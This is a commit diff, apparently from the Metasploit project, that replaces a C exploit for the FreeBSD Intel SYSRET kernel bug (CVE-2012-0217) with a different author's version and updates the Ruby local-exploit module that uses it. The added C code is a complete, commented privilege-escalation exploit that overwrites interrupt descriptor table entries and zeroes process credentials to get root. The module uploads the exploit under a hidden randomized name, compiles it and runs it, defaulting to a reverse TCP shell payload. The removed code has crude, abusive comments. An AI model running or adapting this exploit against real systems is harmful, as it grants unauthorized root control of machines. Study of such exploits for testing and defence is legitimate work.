Use @iZsh's exploit

master
Brendan Coles 2018-12-21 15:40:01 +00:00
parent 1cf5c79cc8
commit 983b39a5b3
2 changed files with 319 additions and 147 deletions

View File

@ -1,178 +1,345 @@
/*
* FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit
* Author by CurcolHekerLink
*
* This exploit based on open source project, I can make it open source too. Right?
*
* If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :)
*
* Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink,
* Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam
* if you would like next private exploit leakage, just mention @MamahhDedeh
*
* Some people may feel harmed when we release this exploit :))
*
* p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :))
*
*/
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
#define TRIGGERSIZE 20
#define BOUNCESIZE 18
uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp;
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}
struct region_descriptor idt;
u_long matchsym(char *symname)
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}
u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
return ksym.symvalue;
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return ksym.symvalue;
}
// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}
void payload()
void shellcode()
{
printf("[+] Woohoo!!!\n");
exit(0);
// Actually we dont really need to spawn a shell since we
// changed our whole cred struct.
// Just exit...
printf("[*] Got root!\n");
exit(0);
}
void resetidt()
void kernelmodepayload()
{
struct thread *td;
struct ucred *cred;
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0);
setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0);
asm ("mov %%gs:0, %0" : "=r"(td));
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
asm ("swapgs; sysretq;" :: "c"(payload));
struct thread *td;
struct ucred *cred;
// We need to restore/recover whatever we smashed
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
// idt[18], idt[17] and idt[16]
// thus overall we have:
// - idt[18], idt[17] and idt[16] are trashed
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
// - rdi -> overwrites the 64bit-LSB of idt[7]
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
// get the thread pointer
asm ("mov %%gs:0, %0" : "=r"(td));
// The Dark Knight Rises
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
// return to user mode to spawn the shell
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}
void resolving()
{
Xdivp = (uintptr_t)matchsym("Xdiv");
Xdbgp = (uintptr_t)matchsym("Xdbg");
Xbptp = (uintptr_t)matchsym("Xbpt");
Xoflp = (uintptr_t)matchsym("Xofl");
Xbndp = (uintptr_t)matchsym("Xbnd");
Xillp = (uintptr_t)matchsym("Xill");
Xdnap = (uintptr_t)matchsym("Xdna");
Xfpusegmp = (uintptr_t)matchsym("Xfpusegm");
Xtssp = (uintptr_t)matchsym("Xtss");
Xmissingp = (uintptr_t)matchsym("Xmissing");
Xstkp = (uintptr_t)matchsym("Xstk");
Xprotp = (uintptr_t)matchsym("Xprot");
Xpagep = (uintptr_t)matchsym("Xpage");
Xfpup = (uintptr_t)matchsym("Xfpu");
Xalignp = (uintptr_t)matchsym("Xalign");
Xmchkp = (uintptr_t)matchsym("Xmchk");
Xxmmp = (uintptr_t)matchsym("Xxmm");
}
#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18
void trigger()
{
printf("[+] Crotz...\n");
uint64_t pagesize = getpagesize();
uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize);
mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (mappedarea == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}
printf("[*] Setup...\n");
// Allocate one page just before the non-canonical address
printf(" [+] Trigger code...\n");
uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}
char triggerpayload[] =
"\xb8\x18\x00\x00\x00"
"\x48\x89\xe3"
"\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\x0f\x05";
// Copy the trigger code at the end of the page
// such that the syscall instruction is at its
// boundary
char triggercode[] =
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall
uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE;
memcpy(offset_addr, triggerpayload, TRIGGERSIZE);
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
*(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
printf("[+] Crotz...\n");
char bouncepayload[] =
"\x0f\x01\xf8"
"\x48\x89\xdc"
"\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\xff\xe0";
// There are two outcomes given a target rsp:
// - if rsp can't be written to, a double fault is triggered
// (Xdblfault defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to a special stack
// - otherwise a #GP is triggered
// (Xprot defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to [rsp]
//
// In the latter case, trouble is... #GP triggers a page fault
// (Xpage):
// IDTVEC(prot)
// subq $TF_ERR,%rsp
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
// [2] movq $0,TF_ADDR(%rsp)
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
// leaq doreti_iret(%rip),%rdi
// cmpq %rdi,TF_RIP(%rsp)
// je 1f /* kernel but with user gsbase!! */
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
// jz 2f /* already running with kernel GS.base */
// 1: swapgs
// 2: movq PCPU(CURPCB),%rdi [5]
//
// [4] sets the Z flag because we come from the kernel (while executing sysret)
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
// it was restored just before calling sysret...
// Thus, [5] triggers a pagefault while trying to access gs:data
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
//
// We therefore need a way: (1) to recover from the GP, (2) to clean
// any mess we did. Both could be solved if we can get get an arbitrary
// code execution by the time we reach [5] (NB: this is not mandatory, we could
// get the code execution later down the fault trigger chain)
//
// So... here is the idea: wouldn't it be nice if we could overwrite the
// page fault handler's address and therefore get code execution when [5]
// triggers the #PF?
//
// For reference:
// Gate descriptor:
// +0: Target Offset[15:0] | Target Selector
// +4: Some stuff | Target Offset[31:16]
// +8: Target Offset[63:32]
// +12: Stuff
//
// and from include/frame.h:
// struct trapframe {
// register_t tf_rdi;
// register_t tf_rsi;
// register_t tf_rdx;
// register_t tf_rcx;
// register_t tf_r8;
// register_t tf_r9;
// register_t tf_rax;
// register_t tf_rbx;
// register_t tf_rbp;
// register_t tf_r10;
// register_t tf_r11;
// register_t tf_r12;
// register_t tf_r13;
// register_t tf_r14;
// register_t tf_r15;
// uint32_t tf_trapno;
// uint16_t tf_fs;
// uint16_t tf_gs;
// register_t tf_addr;
// uint32_t tf_flags;
// uint16_t tf_es;
// uint16_t tf_ds;
// /* below portion defined in hardware */
// register_t tf_err;
// register_t tf_rip;
// register_t tf_cs;
// register_t tf_rflags;
// register_t tf_rsp;
// register_t tf_ss;
// };
//
// When the exception is triggered, the hardware pushes
// ss, rsp, rflags, cs, rip and err
//
// We can see that [1], [2] and [3] write to the stack
// [3] is fully user-controlled through rdi, so we could try to align
// rsp such that [3] overwrites the offset address
//
// The trouble is... rsp is 16byte aligned for exceptions. We can
// therefore only overwrite the first 32-LSB of the offset address
// (check how rdi is 16byte aligned in this trapframe)
//
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
// and tf_trapno is 16byte aligned + 8!
// This enables us to set Target Offset[63:32] to 0x9
//
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
// some setup and jump to our kernel mode code
printf(" [+] Trampoline code...\n");
char trampolinecode[] =
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
"\xff\xe0"; // jmp rax
uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF));
size_t bouncer_allocsize = pagesize;
if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE)
bouncer_allocsize += pagesize;
if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (bouncer)");
exit(1);
}
memcpy(bouncer, bouncepayload, BOUNCESIZE);
*(uint64_t*)(bouncer + 8) = (uint64_t)resetidt;
((void (*)())offset_addr)();
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// We round the address to the PAGESIZE for the allocation
// Not enough space for the trampoline code ?
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
trampoline_allocsize += pagesize;
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
// Call it
printf("[*] Fire in the hole!\n");
((void (*)())trigger_addr)();
}
typedef struct validtarget
{
char * sysname;
char * release;
char * machine;
} validtarget_t;
int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};
int found = 0;
int i = 0;
while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}
void get_cpu_vendor(char * cpu_vendor)
{
u_int regs[4];
do_cpuid(0, regs);
((u_int *)cpu_vendor)[0] = regs[1];
((u_int *)cpu_vendor)[1] = regs[3];
((u_int *)cpu_vendor)[2] = regs[2];
cpu_vendor[12] = '\0';
}
int is_intel()
{
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}
int main(int argc, char *argv[])
{
printf("[+] SYSRET FUCKUP!!\n");
printf("[+] Start Engine...\n");
resolving();
printf("[+] Crotz...\n");
trigger();
return 0;
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
printf("[*] Retrieving host information...\n");
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
struct utsname ver;
uname(&ver);
printf(" [+] CPU: %s\n", cpu_vendor);
printf(" [+] sysname: %s\n", ver.sysname);
printf(" [+] release: %s\n", ver.release);
printf(" [+] version: %s\n", ver.version);
printf(" [+] machine: %s\n", ver.machine);
printf("[*] Validating target OS and version...\n");
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
printf(" [+] NOT Vulnerable :-(\n");
exit(1);
} else
printf(" [+] Vulnerable :-)\n");
// Prepare the values we'll need to restore the kernel to a stable state
printf("[*] Resolving kernel addresses...\n");
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
Xill_ptr = (uintptr_t)get_symaddr("Xill");
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
// doeet!
trigger();
return 0;
}

View File

@ -12,10 +12,10 @@ class MetasploitModule < Msf::Exploit::Local
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD 9 Intel SYSRET Privilege Escalation',
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the FreeBSD 9.0-RELEASE (x64)
kernel, when running on 64-bit Intel processors.
This module exploits a vulnerability in the FreeBSD kernel,
when running on 64-bit Intel processors.
By design, 64-bit processors following the X86-64 specification will
trigger a general protection fault (GPF) when executing a SYSRET
@ -26,14 +26,17 @@ class MetasploitModule < Msf::Exploit::Local
the current userland RSP stack pointer is restored and executed,
resulting in privileged code execution.
This module has been tested successfully on FreeBSD 9.0-RELEASE.
This module has been tested successfully on:
FreeBSD 8.3-RELEASE (amd64); and
FreeBSD 9.0-RELEASE (amd64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rafal Wojtczuk', # Discovery
'John Baldwin', # Discovery
'CurcolHekerLink', # Exploit
'iZsh', # Exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2012-06-12',
@ -48,12 +51,14 @@ class MetasploitModule < Msf::Exploit::Local
['PACKETSTORM', '113584'],
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
],
'Targets' =>
[
['FreeBSD 9.0-RELEASE', {}]
['Automatic', {}]
],
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
'DefaultTarget' => 0))
@ -79,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
@ -106,12 +111,12 @@ class MetasploitModule < Msf::Exploit::Local
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '')
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
def check
kernel_release = cmd_exec('uname -r').to_s
unless kernel_release.start_with? '9.0-RELEASE'
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
return Exploit::CheckCode::Safe
end
@ -124,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Local
end
vprint_good "System architecture #{arch} is supported"
hw_model = cmd_exec('sysctl hw.model').to_s
hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
unless hw_model.downcase.include? 'intel'
vprint_error "#{hw_model} is not vulnerable"
return CheckCode::Safe
@ -155,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Local
# Upload and compile exploit executable
executable_name = ".#{rand_text_alphanumeric 5..10}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_compile executable_path, strip_comments(exploit_data('sysret.c'))
upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall'
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"